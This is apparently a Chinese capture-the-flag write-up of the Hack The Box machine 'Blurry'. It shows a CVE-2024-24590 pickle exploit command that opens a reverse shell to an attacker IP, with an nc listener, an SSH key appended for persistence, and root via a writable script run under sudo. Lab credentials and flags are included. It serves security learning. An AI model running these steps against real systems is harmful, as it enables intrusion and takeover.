Blurry - hackthebox

news2024/10/7 6:47:55

简介

靶机名称:Blurry

难度:中等

靶场地址:https://app.hackthebox.com/machines/605

本地环境

靶机IP :10.10.11.19

linux渗透机IP(kali 2024.2):10.10.16.17

windows渗透机IP(windows11):10.10.14.20

扫描

nmap感觉是被阻滞了,奇慢无比,先fscan垫一下好了

fscan -h 10.10.11.19 -nobr -p "1-65535"


   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4
start infoscan
10.10.11.19:22 open
10.10.11.19:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://10.10.11.19        code:301 len:169    title:301 Moved Permanently 跳转url: http://app.blurry.htb/
已完成 2/2
[*] 扫描结束,耗时: 10.272005218s

经典22和80。80有重定向,先把app.blurry.htb加入hosts再操作。

HTTP

image-20240618104451214

这个clearML是github上面的一个开源项目,相当于一个机器学习资源和任务管理平台。

还没得到更多信息,先转到其他方向。

子域名爆破

ffuf -w $HVV_Tool/8_dict/seclist/Discovery/DNS/subdomains-top1million-20000.txt -u http://app.blurry.htb -H "Host: FUZZ.blurry.htb" -fw 5

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://app.blurry.htb
 :: Wordlist         : FUZZ: /home/kali/1_Tool/1_HVV/8_dict/seclist/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.blurry.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 5
________________________________________________

files                   [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 99ms]
app                     [Status: 200, Size: 13327, Words: 382, Lines: 29, Duration: 123ms]
chat                    [Status: 200, Size: 218733, Words: 12692, Lines: 449, Duration: 98ms]

整合一下hosts如下

10.10.11.19 app.blurry.htb
10.10.11.19 blurry.htb
10.10.11.19 files.blurry.htb
10.10.11.19 app.blurry.htb
10.10.11.19 chat.blurry.htb
10.10.11.19 api.blurry.htb

files.blurry.htb没有什么东西,看着像接口之类的?

image-20240618111102823

chat则有东西了

image-20240618111241500

chat信息收集

因为没有任何账密信息,所以先创个号进去看看能不能收集到什么。

有一个公共频道

image-20240618111633863

聊天内容就是冲评审了。这个不是重点,把用户名和全称都统计一下。

jippity
irisview
raytrace
lenasphere
dioptric
Iris Pupil
Chad Jippity
Lena Tick
Ray Flection
Dio Ptrie
Black Swan

需要注意的是,频道有两个,只是general默认置顶而已

image-20240618112509470

image-20240618112738506

两条公告看下来,首先我们知道除了clearML和rocket.chat之外,还有一个专门用于实验的平台,目前未知。还有,他们负责的项目是Black Swan(黑天鹅)

然后找不到更多信息了。回到clearML平台。

clearML

输入Chad Jippity,直接成功登陆了。

image-20240618113149654

登录之后能操作的就很多了。网上查了一下,clearML有一个很新的漏洞,CVE-2024-24590,有poc能直接打

https://github.com/OxyDeV2/ClearML-CVE-2024-24590

在使用该poc之前,我们要得到服务器认证。首先到用户界面的workspace下创建新凭据

image-20240618130721901

创建后把配置信息保存下来

image-20240618130156707

然后在攻击机上用pip下载clearml库,然后执行命令clearml-init,把刚刚复制的配置信息粘贴进去即可

api { 
    web_server: http://app.blurry.htb
    api_server: http://api.blurry.htb
    files_server: http://files.blurry.htb
    credentials {
        "access_key" = "K5B069CS9ZIXBGX2S9C7"
        "secret_key"  = "jHmPmqHLHeOqkRwk8pR06y8rQBd82QWr9UjdDJBxKmXTitXPnP"
    }
}

image-20240618130752637

起个监听后,就可以用poc直接打了……嗯?为什么无效

首先要知道这个poc的作用仅仅是上传一个包含shell代码的pickle文件到项目中,只有当别人下载该文件并加载它时,我们的shell才会被运行。也就是说clearML本身是不会跑代码的。

黑天鹅项目中有一个很显眼的定时任务Review JSON Artifacts,大概是每过几分钟就执行一次,内容如下

image-20240618143002947

#!/usr/bin/python3

from clearml import Task
from multiprocessing import Process
from clearml.backend_api.session.client import APIClient

def process_json_artifact(data, artifact_name):
    """
    Process a JSON artifact represented as a Python dictionary.
    Print all key-value pairs contained in the dictionary.
    """
    print(f"[+] Artifact '{artifact_name}' Contents:")
    for key, value in data.items():
        print(f" - {key}: {value}")

def process_task(task):
    artifacts = task.artifacts
    
    for artifact_name, artifact_object in artifacts.items():
        data = artifact_object.get()
        
        if isinstance(data, dict):
            process_json_artifact(data, artifact_name)
        else:
            print(f"[!] Artifact '{artifact_name}' content is not a dictionary.")

def main():
    review_task = Task.init(project_name="Black Swan", 
                            task_name="Review JSON Artifacts", 
                            task_type=Task.TaskTypes.data_processing)

    # Retrieve tasks tagged for review
    tasks = Task.get_tasks(project_name='Black Swan', tags=["review"], allow_archived=False)

    if not tasks:
        print("[!] No tasks up for review.")
        return
    
    threads = []
    for task in tasks:
        print(f"[+] Reviewing artifacts from task: {task.name} (ID: {task.id})")
        p = Process(target=process_task, args=(task,))
        p.start()
        threads.append(p)
        task.set_archived(True)

    for thread in threads:
        thread.join(60)
        if thread.is_alive():
            thread.terminate()

    # Mark the ClearML task as completed
    review_task.close()

def cleanup():
    client = APIClient()
    tasks = client.tasks.get_all(
        system_tags=["archived"],
        only_fields=["id"],
        order_by=["-last_update"],
        page_size=100,
        page=0,
    )

    # delete and cleanup tasks
    for task in tasks:
        # noinspection PyBroadException
        try:
            deleted_task = Task.get_task(task_id=task.id)
            deleted_task.delete(
                delete_artifacts_and_models=True,
                skip_models_used_by_other_tasks=True,
                raise_on_error=False
            )
        except Exception as ex:
            continue

if __name__ == "__main__":
    main()
    cleanup()

简单解释一下就是:

  • 初始化一个名为“Review JSON Artifacts”的 ClearML 任务。
  • 检索标记为“review”且未归档的任务。
  • 如果没有任务可供审查,则打印警告消息并返回。
  • 对于每个待审查的任务,启动一个新进程来处理该任务,并将任务标记为已归档。
  • 等待所有进程完成,如果进程在 60 秒内未完成,则终止它。
  • 将 ClearML 任务标记为已完成。

也就是说,只有tagreview的工作才会被执行自动任务的主机下载并审查。审查细节不用去了解,只要知道它肯定会运行并跑我们的shell即可。

于是最终命令如下:

python3 exploit.py --project_name  "Black Swan" --task_name "test" --artifact_name "test" --tags "review" --ip "10.10.16.17" --port "40001"

监听:

 rlwrap -cAr nc -lvvp 40001

image-20240618144321234

(真的感觉等了好长时间,中间差点以为不行打算推翻重来。)

在当前目录下找到user.txt

4645965a4154a71c0466950107e77693

提权

先把ssh公钥传上去维权。

cd ~/.ssh
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK5sWbMpzoFOhxwVIjKUYvvMce5kR6XSmnTp7u2TlCmW kali@kali" >> authorized_keys 

看一眼网络,活跃端口还真不少

tcp        0      0 127.0.0.1:8008          0.0.0.0:*               LISTEN      -          
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -          
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -          
tcp        0      0 127.0.0.1:8081          0.0.0.0:*               LISTEN      -          
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -          
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -          
tcp6       0      0 :::22                   :::*                    LISTEN      - 

初次之外,sudo -l也有内容

Matching Defaults entries for jippity on blurry:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jippity may run the following commands on blurry:
    (root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth

这个evaluate_model是个shell脚本,内容如下

#!/bin/bash
# Evaluate a given model against our proprietary dataset.
# Security checks against model file included.

if [ "$#" -ne 1 ]; then
    /usr/bin/echo "Usage: $0 <path_to_model.pth>"
    exit 1
fi

MODEL_FILE="$1"
TEMP_DIR="/models/temp"
PYTHON_SCRIPT="/models/evaluate_model.py"  

/usr/bin/mkdir -p "$TEMP_DIR"

file_type=$(/usr/bin/file --brief "$MODEL_FILE")

# Extract based on file type
if [[ "$file_type" == *"POSIX tar archive"* ]]; then
    # POSIX tar archive (older PyTorch format)
    /usr/bin/tar -xf "$MODEL_FILE" -C "$TEMP_DIR"
elif [[ "$file_type" == *"Zip archive data"* ]]; then
    # Zip archive (newer PyTorch format)
    /usr/bin/unzip -q "$MODEL_FILE" -d "$TEMP_DIR"
else
    /usr/bin/echo "[!] Unknown or unsupported file format for $MODEL_FILE"
    exit 2
fi

/usr/bin/find "$TEMP_DIR" -type f \( -name "*.pkl" -o -name "pickle" \) -print0 | while IFS= read -r -d $'\0' extracted_pkl; do
    fickling_output=$(/usr/local/bin/fickling -s --json-output /dev/fd/1 "$extracted_pkl")

    if /usr/bin/echo "$fickling_output" | /usr/bin/jq -e 'select(.severity == "OVERTLY_MALICIOUS")' >/dev/null; then
        /usr/bin/echo "[!] Model $MODEL_FILE contains OVERTLY_MALICIOUS components and will be deleted."
        /bin/rm "$MODEL_FILE"
        break
    fi
done

/usr/bin/find "$TEMP_DIR" -type f -exec /bin/rm {} +
/bin/rm -rf "$TEMP_DIR"

if [ -f "$MODEL_FILE" ]; then
    /usr/bin/echo "[+] Model $MODEL_FILE is considered safe. Processing..."
    /usr/bin/python3 "$PYTHON_SCRIPT" "$MODEL_FILE"
    
fi

只要知道这个脚本会对/models路径下的pth文件审查,通过后会用evaluate_model.py来跑就行了。

偏偏我们正好对evaluate_model.py有写权限

image-20240618152744718

那就没什么好说的了,直接写入梭了。

import os
os.system("/bin/bash")

image-20240618152911266

b4fe6bf95fed2a23dd0dee2669175363

结束

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1836422.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

excel宏处理魔法代码,实现按月份统计销售额和按产品统计销售额

目录 前言第一步&#xff1a;打开文件第二步&#xff1a;选中左侧任意一个sheet双击第三步&#xff1a;粘贴 魔法代码第四步&#xff1a;点击菜单栏 运行>运行子程序和用户窗口第五步&#xff1a;切换回文件&#xff0c;我们就可以看到已经生成了月份销售额统计和产品销售额…

合合信息文档解析工具重磅升级!智能识别,效率翻倍!

官.网地址&#xff1a;合合TextIn - 合合信息旗下OCR云服务产品 智能文档处理(IDP)是利用人工智能技术,自动从复杂的非结构化和半结构化文档中抽取关键数据,并将其转换成结构化数据的技术。能够自动识别、提取并结构化处理文档中的关键信息。这种技术通常基于自然语言处理&…

经验分享,两个在线图片处理网站在线抠图和删除不需要的元素

分享两个好用的在线图片处理网站 1.在线抠图&#xff0c;图片背景消除 网址&#xff1a;https://www.remove.bg/zh 2.删除图片中不需要的对象、人物和文本。 网址&#xff1a;https://magicstudio.com/zh/magiceraser/

DLS平台:惠誉全球经济展望——今年调增至2.6%,明年调减!

摘要 尽管全球货币政策逐渐转向宽松&#xff0c;惠誉国际评级&#xff08;Fitch Ratings&#xff09;在最新的《全球经济展望》中对2024年全球经济增长进行了上调。然而&#xff0c;由于美国经济增速放缓和其他因素的影响&#xff0c;2025年的全球经济增长预期则被下调。这篇文…

最新Prompt预设词分享,DALL-E3文生图+文档分析

使用指南 直接复制使用 可以前往已经添加好Prompt预设的AI系统测试使用&#xff08;可自定义添加使用&#xff09; 支持GPTs SparkAi SparkAi创作系统是基于ChatGPT进行开发的Ai智能问答系统和Midjourney绘画系统&#xff0c;支持OpenAI-GPT全模型国内AI全模型。支持GPT-4o…

从零开始:精通基于大型语言模型(LLM)的Agent应用开发

一、引言 随着人工智能技术的飞速发展&#xff0c;大型语言模型&#xff08;Large Language Model&#xff0c;简称LLM&#xff09;已经成为自然语言处理&#xff08;NLP&#xff09;领域的核心技术之一。这些模型&#xff0c;如GPT、BERT等&#xff0c;通过大量的文本数据训练…

pop链详细分析、构造(以[NISACTF 2022]babyserialize为例)

目录 [NISACTF 2022]babyserialize &#xff08;一&#xff09;理清pop链&#xff08;链尾 链头&#xff09;&#xff0c;标注步骤 1. 先找eval、flag这些危险函数和关键字样&#xff08;这是链尾&#xff09; 2.往eval()上面看 3.往$bb()上面看 4.往strtolower()上面看 …

自制调色小工具给图片加滤镜,修改图片红、绿、蓝通道及亮度,修改图片颜色

上篇&#xff1a; 上篇我们给地图添加了锐化、模糊等滤镜&#xff0c;这篇来写一个小工具给图片调色。 调色比锐化等滤镜要简单许多&#xff0c;直接拿到像素值修改即可。不需要用到卷积核。。。(*^▽^*) 核心原理就是图像结构&#xff0c;使用context.getImageData获取图像像…

热词排序算法——贝叶斯均值法

热词排序算法——贝叶斯均值法 贝叶斯均值法基本思想假设变量举例说明python实现 贝叶斯均值法 当前&#xff08;例如今天&#xff09;的某个词出现的频率相比于历史发生突增&#xff0c;那么这个词的热度上升。 当某个词历史出现的次数为0&#xff0c;而当前出现的次数为100…

超分辨率重建——2022冠军RLFN网络推理测试(详细图文教程)

&#x1f4aa; 专业从事且热爱图像处理&#xff0c;图像处理专栏更新如下&#x1f447;&#xff1a; &#x1f4dd;《图像去噪》 &#x1f4dd;《超分辨率重建》 &#x1f4dd;《语义分割》 &#x1f4dd;《风格迁移》 &#x1f4dd;《目标检测》 &#x1f4dd;《暗光增强》 &a…

四十七、openlayers官网示例Image Filters——给地图添加锐化、浮雕、边缘等滤镜效果

官网demo示例&#xff1a; Image Filters 这篇讲的是如何给地图添加滤镜。 一看代码&#xff0c;&#xff0c;好家伙&#xff0c;信息量满满&#xff0c;全都看不懂。。。 咱只能一段一段扒。。。 首先添加一个底图到地图上&#xff0c;这个好理解。 const imagery new Til…

开源表单流程设计器:做好流程化办公 实现提质增效!

在社会竞争激烈的今天&#xff0c;如何通过各种渠道和方式实现提质增效&#xff1f;低代码技术平台、开源表单流程设计器的出现&#xff0c;正是助力企业实现流程化办公&#xff0c;进入数字化转型的得力助手。想要利用好企业内部数据资源&#xff0c;打破信息化孤岛&#xff0…

5个好用的AI绘画软件推荐,小白也能轻松上手

前言 随着人工智能技术的飞速发展&#xff0c;AI绘画软件已经成为艺术创作领域的新宠。这些软件不仅能够提供强大的绘画辅助功能&#xff0c;而且操作简便&#xff0c;即使是绘画新手也能轻松上手。本文将为您推荐5款好用的AI绘画软件&#xff0c;帮助您开启艺术创作的大门。 …

react-2 jsx的学习

1.什么是JSX&#xff1f; 概念&#xff1a;JSX就是Javascript和XML&#xff08;HTML&#xff09;的缩写&#xff0c;表示在js代码中编写HTML模板结构&#xff0c;它是React中编写UI模板的方式&#xff0c;如下图就是jsx: 优势&#xff1a;1.HTML的声明式模板写法&#xff1b;…

【Go语言精进之路】构建高效Go程序:了解string实现原理并高效使用

&#x1f525; 个人主页&#xff1a;空白诗 &#x1f525; 热门专栏&#xff1a;【Go语言精进之路】 文章目录 引言一、Go语言的字符串类型1.1 字符串的定义1.2 字符串的零值可用1.3 字符串的不可变性1.4 字符串的拼接1.5 字符串的常用方法1.6 实际使用示例 二、字符串的内部表…

HTML学习和JAVAScript学习

HTML 标签 <!DOCTYPE html> <!-- 文档类型为html --> <html lang"en"> <head><meta charset"UTF-8"> <!-- 使用字符集UTF-8 --> <!-- 设置浏览器兼容性 --><meta name"viewpo…

TCP/IP协议简要介绍

TCP/IP for IP version 4&#xff08;IPv4&#xff09;是一种网络协议&#xff0c;Microsoft Windows使用该协议通过internet与其他计算机进行通信。理想情况下&#xff0c;只要基于Windows的计算机通过网络进行通信&#xff0c;就会使用TCP/IP。 本文介绍TCP/IP协议的组成、协…

vue2双层循环生成动态ref,并跳转到组件内的指定位置

话不用多说,先上一个视频,看看是不是你们需要的效果 vue2双层循环生成动态ref,并跳转到组件内的指定位置 <div class"menu-content" ref"menu"><el-collapse v-model"activeNames"><el-collapse-item style"padding: 10px;…

Java每日作业day6.18

ok了家人们今天我们继续学习方法的更多使用&#xff0c;闲话少叙&#xff0c;我们来看今天学了什么 1.重载 在同一个类中&#xff0c;可不可以存在同名的方法&#xff1f;重载:在同一个类中&#xff0c;定义了多个同名的方法&#xff0c;但每个方法具有不同的参数类型或参数个…

传统车牌识别

主要参考&#xff1a;https://blog.csdn.net/qq_40784418/article/details/105586644 其它介绍&#xff1a; https://blog.csdn.net/great_yzl/article/details/120127962 https://blog.csdn.net/onepunch_k/article/details/115480904 cv2.matchTemplate https://docs.ope…